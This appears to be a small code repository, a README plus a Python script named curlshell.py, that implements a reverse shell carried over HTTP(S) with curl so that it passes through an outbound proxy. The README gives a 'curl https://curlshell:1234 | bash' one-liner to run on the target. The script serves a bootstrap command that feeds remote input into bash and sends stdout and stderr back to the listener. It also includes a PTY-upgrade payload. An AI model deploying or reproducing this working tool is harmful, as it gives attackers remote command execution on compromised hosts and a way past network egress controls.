├── README.md └── curlshell.py /README.md: -------------------------------------------------------------------------------- 1 | # Reverse shell using curl 2 | 3 | During security research, you may end up running code in an environment, 4 | where establishing raw TCP connections to the outside world is not possible; 5 | outgoing connection may only go through a connect proxy (HTTPS_PROXY). 6 | This simple interactive HTTP server provides a way to mux 7 | stdin/stdout and stderr of a remote reverse shell over that proxy with the 8 | help of curl. 9 | 10 | ## Usage 11 | 12 | Start your listener: 13 | 14 | ``` 15 | ./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234 16 | ``` 17 | 18 | On the remote side: 19 | 20 | ``` 21 | curl https://curlshell:1234 | bash 22 | ``` 23 | 24 | That's it! 25 | -------------------------------------------------------------------------------- /curlshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler 4 | import ssl 5 | import json 6 | import argparse 7 | import requests 8 | import sys 9 | import select 10 | import threading 11 | import os 12 | import tty 13 | import termios 14 | from collections import defaultdict 15 | 16 | # inspired by: https://stackoverflow.com/questions/29023885/python-socket-readline-without-socket-makefile 17 | import socket 18 | from asyncio import IncompleteReadError # only import the exception class 19 | 20 | PTY_UPGRADE_CMD = "p=$(which python || which python3); s=$(which bash || which sh); if [ -n $p ]; then exec $p -c 'import pty;pty.spawn(\"'$s'\")'; fi" 21 | 22 | class SocketStreamReader: 23 | def __init__(self, sock: socket.socket): 24 | self._sock = sock 25 | self._recv_buffer = bytearray() 26 | 27 | def read(self, num_bytes: int = -1) -> bytes: 28 | raise NotImplementedError 29 | 30 | def readexactly(self, num_bytes: int) -> bytes: 31 | buf = bytearray(num_bytes) 32 | pos = 0 33 | while pos < num_bytes: 34 | n = self._recv_into(memoryview(buf)[pos:]) 35 | if n == 0: 36 | raise IncompleteReadError(bytes(buf[:pos]), num_bytes) 37 | pos += n 38 | return bytes(buf) 39 | 40 | def readline(self) -> bytes: 41 | return self.readuntil(b"\n") 42 | 43 | def readuntil(self, separator: bytes = b"\n") -> bytes: 44 | if len(separator) != 1: 45 | raise ValueError("Only separators of length 1 are supported.") 46 | 47 | chunk = bytearray(4096) 48 | start = 0 49 | buf = bytearray(len(self._recv_buffer)) 50 | bytes_read = self._recv_into(memoryview(buf)) 51 | assert bytes_read == len(buf) 52 | 53 | while True: 54 | idx = buf.find(separator, start) 55 | if idx != -1: 56 | break 57 | 58 | start = len(self._recv_buffer) 59 | bytes_read = self._recv_into(memoryview(chunk)) 60 | buf += memoryview(chunk)[:bytes_read] 61 | 62 | result = bytes(buf[: idx + 1]) 63 | self._recv_buffer = b"".join( 64 | (memoryview(buf)[idx + 1 :], self._recv_buffer) 65 | ) 66 | return result 67 | 68 | def _recv_into(self, view: memoryview) -> int: 69 | bytes_read = min(len(view), len(self._recv_buffer)) 70 | view[:bytes_read] = self._recv_buffer[:bytes_read] 71 | self._recv_buffer = self._recv_buffer[bytes_read:] 72 | if bytes_read == len(view): 73 | return bytes_read 74 | bytes_read += self._sock.readinto1(view[bytes_read:]) 75 | if bytes_read <= 0: 76 | raise Exception("end of stream") 77 | return bytes_read 78 | 79 | def eprint(*args, **kwargs): 80 | print(*args, **kwargs, file=sys.stderr) 81 | 82 | lock = threading.Lock() 83 | lockdata = defaultdict(int) 84 | def locker(c, d, should_exit): 85 | if not should_exit: 86 | return 87 | lock.acquire() 88 | try: 89 | lockdata[c] += d 90 | if d < 0: 91 | s = 0 92 | for k in lockdata: 93 | v = lockdata[k] 94 | s += v 95 | if s <= 0: 96 | eprint("Exiting") 97 | os._exit(0) 98 | finally: 99 | lock.release() 100 | 101 | 102 | class ConDispHTTPRequestHandler(BaseHTTPRequestHandler): 103 | 104 | # this is receiving the output of the bash process on the remote end and prints it to the local terminal 105 | def do_PUT(self): 106 | self.server.should_exit = False 107 | w = self.path[1:] 108 | d = getattr(sys, w) 109 | if not d: 110 | raise Exception("Invalid request") 111 | locker(w, 1, not self.server.args.serve_forever) 112 | eprint(w, "stream connected") 113 | sr = SocketStreamReader(self.rfile) 114 | while True: 115 | line = sr.readline() 116 | chunksize = int(line, 16) 117 | if chunksize <= 0: 118 | break 119 | data = sr.readexactly(chunksize) 120 | d.buffer.write(data) 121 | d.buffer.flush() 122 | # chunk trailer 123 | sr.readline() 124 | eprint(w, "stream closed") 125 | self.server.should_exit = True 126 | locker(w, -1, not self.server.args.serve_forever) 127 | 128 | def _feed(self, data): 129 | if self.server.args.dependabot_workaround: 130 | self.wfile.write(data.encode()) 131 | self.wfile.flush() 132 | else: 133 | self._send_chunk(data) 134 | 135 | # this is feeding the bash process on the remote end with input typed in the local terminal 136 | def do_POST(self): 137 | eprint("stdin stream connected") 138 | self.send_response(200) 139 | self.send_header('Content-Type', "application/binary") 140 | self.send_header('Transfer-Encoding', 'chunked') 141 | self.end_headers() 142 | 143 | locker("stdin", 1, not self.server.args.serve_forever) 144 | 145 | if self.server.args.upgrade_pty: 146 | eprint(PTY_UPGRADE_CMD) 147 | self._feed(PTY_UPGRADE_CMD+"\n") 148 | 149 | while True: 150 | s = select.select([sys.stdin, self.request], [], [], 1)[0] 151 | if self.server.should_exit: 152 | break 153 | if self.request in s: 154 | # input broken 155 | break 156 | if sys.stdin in s: 157 | data = sys.stdin.readline() 158 | self._feed(data) 159 | self._send_chunk("") 160 | eprint("stdin stream closed") 161 | 162 | locker("stdin", -1, not self.server.args.serve_forever) 163 | 164 | def do_GET(self): 165 | eprint("cmd request received from", self.client_address) 166 | schema = "https" if self.server.args.certificate else "http" 167 | host = self.headers["Host"] 168 | cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input" 169 | cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)" 170 | cmd+= f" | curl -s -T - {schema}://{host}/stdout" 171 | cmd+= "\n" 172 | # sending back the complex command to be executed 173 | self.send_response(200) 174 | self.send_header('Content-Type', "text/plain") 175 | self.send_header('Transfer-Encoding', 'chunked') 176 | self.end_headers() 177 | self._send_chunk(cmd) 178 | self._send_chunk("") 179 | eprint("bootstrapping command sent") 180 | 181 | def _send_chunk(self, data): 182 | if type(data) == str: 183 | try: 184 | data = data.encode() 185 | except UnicodeEncodeError: 186 | eprint("Invalid unicode character in the input, chunk not sent") 187 | return 188 | full_packet = '{:X}\r\n'.format(len(data)).encode() 189 | full_packet += data 190 | full_packet += b"\r\n" 191 | self.wfile.write(full_packet) 192 | self.wfile.flush() 193 | 194 | 195 | def do_the_job(args): 196 | httpd = ThreadingHTTPServer((args.listen_host, args.listen_port), ConDispHTTPRequestHandler) 197 | setattr(httpd, "args", args) 198 | setattr(httpd, "should_exit", False) 199 | if args.certificate and args.private_key: 200 | context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER ) 201 | context.load_cert_chain(args.certificate, args.private_key) 202 | httpd.socket = context.wrap_socket(httpd.socket) 203 | eprint(f"https listener starting {args.listen_host}:{args.listen_port}") 204 | else: 205 | eprint(f"plain http listener starting {args.listen_host}:{args.listen_port}") 206 | 207 | # handle_request() 208 | httpd.serve_forever() 209 | 210 | 211 | if __name__ == "__main__": 212 | parser = argparse.ArgumentParser(description="Usage on target: curl https://curlshell | bash") 213 | parser.add_argument("--private-key", help="path to the private key for TLS") 214 | parser.add_argument("--certificate", help="path to the certificate for TLS") 215 | parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on") 216 | parser.add_argument("--listen-port", type=int, default=443, help="port to listen on") 217 | parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") 218 | parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") 219 | parser.add_argument("--upgrade-pty", action='store_true', default=False, help=f"When a connection is established, attempt to invoke python to create a pseudo-terminal to improve the shell experience.") 220 | do_the_job(parser.parse_args()) 221 | --------------------------------------------------------------------------------